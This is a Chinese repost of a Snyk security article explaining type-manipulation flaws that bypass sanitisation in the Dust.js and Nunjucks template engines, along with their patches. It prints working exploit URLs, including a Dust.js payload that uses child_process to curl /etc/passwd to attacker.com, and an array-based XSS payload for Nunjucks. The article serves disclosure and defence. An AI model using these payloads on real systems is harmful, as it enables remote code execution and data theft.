安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸


一、前言


解释型语言(如JavaScript和Ruby等)的一个关键要素是使用动态类型,也就是说变量类型可以在运行时动态确定和更新。虽然动态类型也有缺点,但它可以使软件更加灵活,研发更为快速。不幸的是,动态类型语言容易遭受类型篡改(Type Manipulation)漏洞影响,攻击者可以通过篡改给定变量的类型来实施攻击行为。

本文是类型篡改漏洞的第一篇文章,这一系列文章以现实世界的攻击事件为例,分析了类型篡改可以引发的漏洞利用方式,解释了相应的防御方法。使用真实案例可以让读者了解到所使用的软件包中是否存在这些漏洞,也可以帮助读者从中学习经验,避免自己代码中存在类似错误。

本文中我们将重点关注如何利用类型篡改漏洞从模板沙盒中逃逸。这些模板中通常存在一些内置的保护机制,在本文中,我们可以看到这类保护机制并非十全十美。我们的分析案例以LinkedIn的Dust.js以及Mozilla的Nunjucks模板框架为主,捎带提及了Angula。


二、LinkedIn Dust.js远程命令执行漏洞分析


本文重点分析的是Dust.js模板框架中存在的漏洞。Dust.js是一个流行的模板框架,由LinkedIn发布和使用。PayPal也使用了Dust.js框架,正是在PayPal上,研究人员发现了类型篡改漏洞可以导致远程命令执行

漏洞最早于2015年1月9日披露,在2.6.0版本得到修复,漏洞细节于2016年9月14公布。如果你正在使用Dust.js,请确保在用版本不受此漏洞影响

Dust.js存在以下两类问题。

(一)显示依赖于变量类型

与大多数模板库一样,Dust.js在模板中支持条件判断语句,如下代码根据device参数的值来判断如何渲染HTML页面:

{@if cond="'{device}' == 'desktop'"}
  <div>Desktop version</div>
{:else}
  <div>Mobile Version</div>
{/if}

Dust.js稍后会使用eval()函数来判断这些条件语句的真假,这也是模板支持复杂条件所使用的一种简单方法。以下是Dust.js中if函数的一段代码,其中用户提供的params变量与开发人员提供的静态con变量结合在一起,生成最终需要判断的条件语句:

"if": function( chunk, context, bodies, params ){
  ...
    var cond = params.cond;
    cond = dust.helpers.tap(cond, chunk, context);
    // eval expressions with given dust references
    if(eval(cond)){
      ...
    }
}

由于条件语句中可能包含用户输入(比如device参数),Dust.js使用sanitisation函数来避免以代码形式执行恶意参数值。以下是sanitisation函数的代码片段:

dust.escapeHtml = function(s) {
  if (typeof s === 'string') {
    if (!HCHARS.test(s)) {
      return s;
    }
  return s.replace(AMP,'&amp;').replace(...) // more char replacements
  }
  return s;
}

这段代码非常简洁、完整,能够拦截当前已知的可以破坏字符串引用的所有特殊字符。另外,读者还可以在代码中看到HCHARS.test(s)函数仅用于处理字符串,避免在处理未定义值时出现错误。

虽然这段代码可以避免一些错误情况,但它却无法阻止类型篡改攻击。如果攻击者成功将s强制转化为数组(或任意非字符串类型)对象,整个检查过程就会被完全绕过。在随后的代码中,当条件语句传递给eval函数时,数组对象会被显示转化为字符串对象,最终导致远程JavaScript代码执行。

(二)字符串可以转为数组

攻击者的下一步骤是尝试篡改变量类型。对于API驱动的应用而言,攻击者可以通过修改JSON载荷来尝试篡改变量类型,正如之前Mongoose的Buffer漏洞一样。然而,由于Dust.js是一个Web模板平台,我们会专注于如何通过qs包来篡改变量类型。

qs包是解析查询字符串时最常用的一个JavaScript包,也是express、request和其他流行包中默认使用的包。qs能够将查询字符串转化为JavaScript对象,以便程序处理。以下是qs的常见用法:

qs.parse('a');          // {a : ''}
qs.parse('a=foo');      // {a : 'foo'}
qs.parse('a=foo&b=bar');// {a : 'foo', b: 'bar'}
qs.parse('a=foo&a=bar');// {a : ['foo', 'bar']}
qs.parse('a[]=foo');    // {a : ['foo']}

你可能会注意到,qs通过查询字符串中对象的创建方式来判断对象类型。如果同一个对象名多次出现,它就会被当成数组对象。类似地,如果一个变量显示声明为数组型变量,那么在解析该变量时Dust.js将按照数组类型进行处理。

这里距离触发Dust.js漏洞已经很近了。PayPal使用了上文分析的存在漏洞的模板,攻击者需要做的仅仅是提供device参数两次,或者以“device[]=value”形式提供参数,这样变量就会按数组方式进行参数传递,最终绕过净化函数的处理逻辑。

(三)Dust.js漏洞后续利用

这一部分与类型篡改主题有一定关系,但主要内容是分析攻击者如何具体利用此类漏洞。

首先,攻击者需要获得代码运行机会。这个目标可以通过一个攻击URL来实现,如下所示:

攻击所用的URL: https://host/page?device=x&device=y'-console.log('gotcha')+'

调用eval执行: eval("'xy'-console.log('gotcha')+'' == 'desktop'");

控制台日志消息对攻击者来说用处不大,因此攻击者需要使用其他更为巧妙的方法,比如将某些信息从内部往外部发送。在PayPal漏洞中,研究人员使用了如下载荷传递信息:

http://host/page?device=x&device=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+attacker.com')-'

等价的eval语句如下所示:

eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' == 'desktop'");

以上漏洞利用方式使用的是child_process模块来执行本地curl命令,将“/etc/passwd”文件发送给攻击者。使用原生的Node命令也可以完成相同任务,但所需的载荷稍长。使用child_process模块可以将漏洞范围从远程JS代码执行延伸至远程shell命令执行,拓宽攻击者可选项。

(四)修复措施

大多数类型篡改漏洞(Dust.js的这个也不例外)可以通过禁用(disallowing)、规范化(normalizing)或自定义处理(custom handling)变量类型加以修复。这三种措施可以相互结合,建立多层防御机制。

禁用变量类型意味着只有特定变量类型受模板支持。此例中,Dust.js可以选择在模板中禁用非字符串类型参数,这种处理方式将导致模板框架功能减少,因此需根据框架的具体使用方式来确定是否使用该方法。

规范化变量类型意味着各种输入类型将会转换为一种类型。本例中,Dust.js将有问题的变量传递给eval()函数时,这些变量会被隐式转化为字符串变量。与其在向eval()传递参数时对变量类型进行转化,Dust.js可以在上游函数中将传入的数组、整数或其他变量转化为字符串,然后在后续代码中(如sanitisation函数)进行处理。

自定义处理变量意味着需要对所有支持的类型编写特定的处理方式。本例中,Dust.js早就可以确定变量为数组类型,可以对数组中的每个字符串进行规范化处理,同时它也可以对多个数组的组合进行处理。自定义处理方法是三种方法中最为脆弱的,但同时也能够处理更加复杂的输入。

Dust.js选择了自定义处理方法,可以拦截toString属性为函数的所有对象。这种处理方法的确解决了这个问题,但也在代码中留下了一定的脆弱点,因为下游代码可能会选择以不同的方式将数组对象转化为用户输出。以下是Dust.js补丁中的相关代码片段:

dust.escapeHtml = function(s) {
if (typeof s === "string" || (s && typeof s.toString === "function")) {
   if (typeof s !== "string") {
      s = s.toString();
   }
   if (!HCHARS.test(s)) {
      return s;
   }
 }
};

如果你正在使用存在漏洞的Dust.js版本,同时因为各种原因无法升级,那么你可以选择在代码中对传递给Dust.js的输入类型规范化处理,或者禁用非字符串类型参数、阻止恶意数组。你可以通过Snyk的命令行接口GitHub集成接口测试所使用的Dust.js版本是否存在漏洞。


三、Mozilla Nunjucks XSS漏洞分析


Dust.js的漏洞不是独一无二的,我们在其他地方也可以见到类似漏洞。Mozilla的Nunjuck库中的存在类似漏洞,漏洞最早于2016年9月6日由Matt Austin发现,在2.4.3版本中得到修复,漏洞细节于2016年9月9日公布。与Dust.js类似,你可以使用Snyk来测试所使用的Nunjucks版本是否存在漏洞。

与handlebars、mustache以及其他库类似,Nunjucks允许用户在两个大括号(“) 中指定变量名称,该名称应为HTML编码格式。如下所示:

nunjucks.renderString(
       'Hello ',
       {username: '<script>alert(1)</script>' });
// Outputs: Hello &lt;script&gt;alert(1)&lt;script&gt;

然而,与Dust.js类似,Nunjuck的sanitisation函数只能对字符串进行转义处理。以下是Nunjuck sanitisation函数代码片段:

escape: function(str) {      
  if(typeof str === 'string') {
    return r.markSafe(lib.escape(str));
  }
  return str;
}

与前文的处理逻辑类似,如下的一个URL(由qs解析):

http://host/?name[]=<script>alert(1)</script>matt

会导致代码执行,生成XSS输出,如下所示:

nunjucks.renderString(
       'Hello ',
       {username: ['<script>alert(1)</script>matt'] });
// Outputs: <script>alert(1)</script>matt

Nunjucks存在的漏洞原因与Dust.js一致,都是忽视了攻击者可以篡改变量类型。攻击者可以借此绕过sanitisation函数处理流程,注入恶意代码。

Nunjucks可以采用与Dust.js类似的防御措施,如禁用数组输入、规范化变量为字符串类型或使用自定义处理方式解析数组变量。Mozilla在补丁中选择使用toString方法对输入数组进行统一处理。


四、总结


类型篡改是一种名气较小的攻击方法,但的确可以对所有动态类型语言造成危害。在动态类型语言中,我们需要认真考虑输入类型,在每种类型上使用白名单、规范化或自定义处理方式。

本文中,我们了解了如何利用类型篡改漏洞从模板沙盒框架中逃逸,许多框架都存在该问题。不控制运行时的沙盒化技术是非常困难的,这也是Angular完全抛弃沙盒的原因所在。


原文链接:https://snyk.io/blog/type-manipulation/

未经允许不得转载:安全路透社 » 【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册